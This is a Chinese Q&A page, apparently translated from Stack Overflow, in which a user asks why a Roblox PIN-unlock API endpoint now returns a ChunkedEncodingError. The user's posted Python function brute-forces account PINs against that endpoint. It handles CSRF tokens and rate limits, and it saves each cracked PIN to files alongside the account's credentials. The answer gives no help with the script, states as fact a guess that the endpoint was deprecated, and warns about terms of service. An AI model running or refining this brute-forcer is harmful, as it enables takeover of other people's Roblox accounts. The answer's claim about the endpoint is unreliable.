首页 > 编程问答 >Roblox API 链接不再有效

Roblox API 链接不再有效

时间:2024-07-25 12:31:52浏览次数:7  
标签:python hyperlink roblox

我不知道为什么几周前它可以工作,但现在却不起作用了。如果有人知道他们是否喜欢移动到另一个 api 链接或其他任何内容,请告诉我:

https://auth.roblox.com/v1/account/pin/unlock

使用它运行一个程序并工作完全没问题,直到它给我这个错误:

[ERROR] ChunkedEncodingError: (“连接中断: InvalidChunkLength(得到长度 b'', 读取 0 字节)", InvalidChunkLength(获得长度 b'',读取 0 个字节))。在 1 中重试 秒。

(编写脚本是为了在此处的最后给出该错误:)

def try_pin(pin, retries=3):
    global tried
    retry_count = 0
    backoff = 1
    while retry_count < retries:
        try:
            r = req.post('https://auth.roblox.com/v1/account/pin/unlock', json={'pin': pin})
            if 'X-CSRF-TOKEN' in r.headers:
                req.headers['X-CSRF-TOKEN'] = r.headers['X-CSRF-TOKEN']
                return 'retry'
            elif 'errors' in r.json():
                code = r.json()['errors'][0]['code']
                if code == 0 and r.json()['errors'][0]['message'] == 'Authorization has been denied for this request.':
                    print(f'[FAILURE] Authorization denied. Waiting for 2 minutes before retrying.')
                    time.sleep(60 * 2)
                    return 'retry'
                elif code == 1:
                    print(f'[SUCCESS] NO PIN')
                    with open('pins.txt', 'a') as f:
                        f.write(f'NO PIN:{credentials}\n')
                    return 'break'
                elif code == 3 or '"message":"TooManyRequests"' in r.text:
                    print(f'[RATE LIMITED] Waiting for 2 minutes before retrying.')
                    time.sleep(60 * 2)
                    return 'retry'
                elif code == 4:
                    tried += 1
                    save_tried_pin(pin, tried_pins_file, tried_pins)
                    return 'break'
            elif 'unlockedUntil' in r.json():
                print(f'[SUCCESS] {pin}')
                with open('validpin.txt', 'a') as f:
                    f.write(f'{pin}\n')
                with open('pins.txt', 'a') as f:
                    f.write(f'{pin}:{credentials}\n')
                save_tried_pin(pin, tried_pins_file, tried_pins)
                return 'break'
            else:
                print(f'[ERROR] {r.text}')
                return 'error'
        except requests.exceptions.ChunkedEncodingError as e:
            print(f'[ERROR] ChunkedEncodingError: {e}. Retrying in {backoff} seconds.')
            retry_count += 1
            time.sleep(backoff)
            backoff *= 2  # Exponential backoff
        except requests.exceptions.RequestException as e:
            print(f'[ERROR] RequestException: {e}')
            return 'error'
    return 'error'

遇到该错误信息是因为 Roblox 的 API 端点 ( https://auth.roblox.com/v1/account/pin/unlock ) 不再起作用或不再公开可用。许多公司都会出于各种原因更改或弃用 API 端点,而不预先通知,这很常见。

遗憾的是,如果没有 Roblox 官方文档的替代端点或解决方法,就无法使用编程方式解锁 Roblox PIN。

可能的选择:

  1. 检查 Roblox API 文档: Roblox 可能有关于其 API 的官方文档,可以在其中找到有关此端点的更新信息或备用方法。但是,Roblox 并未公开或记录其 API,这使得在不了解标头和请求数据的情况下更难使用。

  2. 探索 Roblox 开发者论坛: Roblox 开发者论坛是查找有关 API 更改的信息的绝佳场所。其他开发者可能遇到过类似的问题并找到了解决方法。

  3. 考虑替代解决方案: 如果无法找到解锁 Roblox PIN 的编程方式,可能需要考虑替代解决方案,例如手动输入 PIN 或使用 Roblox 提供的官方方法。

请记住,尝试在未经授权的情况下访问或操纵 Roblox API 或任何其他平台的服务都可能违反其服务条款并导致帐户被封禁。

如果有任何其他问题,请告诉我!

标签:python,hyperlink,roblox
From: 78765970

相关文章

  • 无法使用适用于 Azure AI 搜索的 Python SDK 将数据添加到 ComplexField
    我想将带有嵌套字典的有效负载上传到AzureAI搜索索引。我在索引中使用ComplexField作为负载中的嵌套字典。索引无法识别嵌套字典,并且出现空错误。这是我的代码:ComplexField,CorsOptions,SearchIndex,ScoringProfile,SearchFieldDataType,Sim......
  • 如何使用 Python 从 Square 中的创建客户方法中检索客户 ID
    我正在square创建一个客户并得到如下结果。我需要的是获取客户的id。我的代码:fromsquare.clientimportClientclient=Client(access_token=settings.SQUARE_ACCESS_TOKEN,environment=settings.SQUARE_ENVIRONMENT,)api_customers=client.customers......
  • 为什么从.导入Python
    我使用的存储库的结构如下:在myrepo/src/中有:主要.pycore.py和somepkgsomepkg有init.py和其他python文件。somepkg不是任何文件中的类或函数。在main.py中,我看到:from.importcorefrom.importsomepkg我的问题是from和.......
  • 使用 Python 中的 Square API 检索客户 ID
    我正在为Square开发一个客户创建表单,它将创建一个客户,然后立即检索他们的ID以在程序中进一步使用。但是,我不知道如何使用API来过滤使用list_customers命令返回的数据。我找到了这篇文章:HowtoretrievecustomeridfromcreatecustomermethodinSquareusing......
  • 如何通过在字符串中使用 \u 或 \U 转义来正确表示 python3 (3.6.1+) 中的补充 unico
    最近我正在学习python,在python3中遇到了unicode转义文字的问题。似乎像Java一样,\u转义被解释为Java使用的UTF-16代码点,但问题来了:例如,如果我尝试放置3个字节的utf-8字符,例如“♬”(https://unicode-table.com/en/266C/),甚至是补充unicode字符,例如“......
  • 我的 Python 代码和 Cycle Time 小部件之间的平均周期时间不同
    我过去遇到过如何在周期时间小部件中计算平均周期时间的一些问题,因此我决定使用Python进行分析,看看是否找到任何方法来计算平均周期时间并获得相同的结果周期时间小部件中显示的值。我的问题是我无法达到周期时间小部件中显示的相同的平均周期时间值。你们能帮我解决这......
  • python3之requests库使用
    使用https://www.cnblogs.com/caroline2016/p/17007956.html建立的api测试下requests库怎么使用。模拟登录时laravelapi那边出现了 Sessionstorenotsetonrequest.错误。解决办法在app/Http/Kernel.php中api中间件组中添加两行代码:<?phpprotected$middlewareGrou......
  • 如何利用Python中的pyecharts制作—不同的柱状图
    目录专栏导读库的介绍库的安装1、柱状图(防止x轴标签名过长)2、柱状图—堆叠样式3、复合型柱状图4、柱状图—字典型总结专栏导读......
  • 六、【Python】基础教程-【Python全掌握】六大基础数据类型:浮点、布尔、列表、元组、
    ......
  • 用于获取半径内邮政编码的 Python 脚本无法正确填充 CSV
    我正在尝试编写一个Python脚本,该脚本读取包含邮政编码的CSV文件,使用API获取半径内的邮政编码,然后将结果填充到CSV中的新列中。API请求似乎工作正常,我可以在控制台输出中看到响应。但是,生成的CSV文件在radius_zips列中没有预期的值。这是我当前的脚本:......